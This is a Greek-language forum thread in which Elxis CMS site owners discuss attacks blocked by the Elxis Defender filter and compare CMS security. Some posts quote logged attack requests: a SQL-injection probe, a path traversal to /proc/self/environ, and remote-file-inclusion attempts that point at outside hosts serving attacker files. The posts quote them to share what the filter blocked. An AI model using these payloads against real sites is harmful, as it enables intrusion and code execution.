Βρε τα παληκάρια - Ασφάλεια Elxis

[webgift]

Και γω αυτήν την εντύπωση έχω. Τώρα.!

[ArXoS]

γιατί χτυπάνε το ελχις? ... γιατί ζηλεύουν ! 

Εντάξει, και που ξέρουμε οτι μόνο το ελχις χτυπάνε;
Δέχομαι κι εγώ επιθέσεις αυτό τον καιρό, προφανώς είμαστε στην ίδια λίστα όλοι. Ρίξτε μια ματιά πως έχει γίνει ο blocker του defender μέσα σε 2 βδομάδες.
Εγώ πιστεύω οτι σε αυτή την λίστα είναι δεκάδες χιλιάδες άλλοι κακόμοιροι (joomla, wordpress, προφανώς drupal) και πολλοί από αυτούς τώρα εμφανίζουν στις οθόνες τους το Karaw4nghacK Was Here!!!. Απλά, εμείς βρισκόμαστε στη λίστα γιατί αυτοί που την έχουν φτιάξει δεν ξέρουν οτι χρησιμοποιούμε elxis.

[attachment deleted by admin]

[rentasite]

Και γω αυτήν την εντύπωση έχω. Τώρα.!

Τι σου άλλαξε... την γνώμη;;

[datahell]

Άδειαζε την λίστα, δεν έχει νόημα να την διατηρείς με τόσες πολλές καταγραφές. Έτσι κι αλλιώς οι ip τους αλλάζουν συνεχώς. Αδειάζοντας την λίστα κάνεις και γρηγορότερο τον defender.

[webgift]

Και γω αυτήν την εντύπωση έχω. Τώρα.!

Τι σου άλλαξε... την γνώμη;;

Όσο δεν το δουλεύω δεν μπορώ να έχω γνώμη. Θεωρητικά πάντα από κάποιους ελέγχους που κάνω κατά καιρούς το συμπέρασμα που βγαίνει είναι ότι το drupal είναι πιο ασφαλής από το Joomla. Τώρα αν δεν το δουλέψω - σκανάρω δεν μπορώ να πω γνώμη.!

Κρατάω τις επιφυλάξεις μου Arxos.
Πονάει όταν το Elxis εξελίσσεται πολλούς και διάφορους ανθρώπους.

[rentasite]

Κρατήστε και τις επιφυλάξεις σας για το Drupal. Το αν είναι πιο ασφαλές από το Joomla, δεν λέει απολύτως τίποτα. Εμείς δουλεύουμε με το Elxis, άρα αυτό πρέπει να είναι το κριτήριο.

Δεν μπορώ να πω παραπάνω, καθώς είναι ΔΗΜΟΣΙΟ βήμα εδώ... αλλά είχα μια πολύ κακή εμπειρία με το Drupal. Μακρυά από μας.

[ArXoS]

Αδειάζοντας την λίστα κάνεις και γρηγορότερο τον defender.

.. ups ... ξαφνικά το site πετάει 

[webgift]

Αδειάζοντας την λίστα κάνεις και γρηγορότερο τον defender.

.. ups ... ξαφνικά το site πετάει 

[webgift]

Σήμερα είχα νέα επίθεση γράφοντας ... :
/index2.php?option=com_content&do_pdf=1&id=24/**/aND/**/8=8

[ArXoS]

το φίλτρο σου είναι το /**/ ?

Εγώ το είχα βάλει και είχε μπλοκάρει τους μισούς επισκέπτες μου, που σίγουρα δεν είχαν ούτε τις προθέσεις αλλά ούτε και τις γνώσεις να μου κάνουν επίθεση. Λέτε να ήταν "μολυσμένοι" ή το 2006.4 (ή κάποιο bot-component) να το χρησιμοποιούσε ?

[webgift]

Καλό είναι να κρατάμε τα χαρτιά μας κλειστά στο δημόσιο τμήμα.! Σου στέλνω PM.!

[datahell]

Παίδες μην ξεχνάτε ότι ο defender δεν μπλοκάρει μόνο το GET, αλλά και τα POST, REQUEST, COOKIE. Συνεπώς μην κοιτάτε μόνο την URL που σας γράφει ο defender στο email που στέλνει. Αυτό είναι για ενημέρωσή σας σε ποια ακριβώς σελίδα έγινε η φραγή. Το τι ακριβώς έφραξε δεν φαίνεται στην URL παρα μόνο αν η μέθοδος είναι GET.

[webgift]

Η αλήθεια είναι ότι βλέπουμε σχολιάζουμε

[michalis1984]

Νέες επιθέσεις σήμερα (απόπειρες εννοείτε  )..

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 62.181.230.205
Requested URI: //index.php?option=com_content&mosConfig.absolute.path=../../../../../../../../../../../../../../../proc/self/environ\0
DATE: 08-06-2011 07:14:54
Attack was logged
---------------------
Elxis Defender blocked an attack to your site

ATTACKER IP ADDRESS: 122.203.211.200
Requested URI: //index.php?option=com_content&mosConfig.absolute.path=http://www.blejtash.com//includes/ID-RFI.txt??
DATE: 08-06-2011 07:22:46
--------------------------
ATTACKER IP ADDRESS: 124.150.142.86
Requested URI: //index.php?option=com_content&mosConfig.absolute.path=http://www.vipekaem.ru/images/vero.jpg??
DATE: 08-06-2011 10:21:54

[ArXoS]

Karaw4nghacK Was Here!!! 
Α τα καημένα .. το exploit είναι του 2006. Κάποιος το ανακάλυψε πρόσφατα και χάρηκε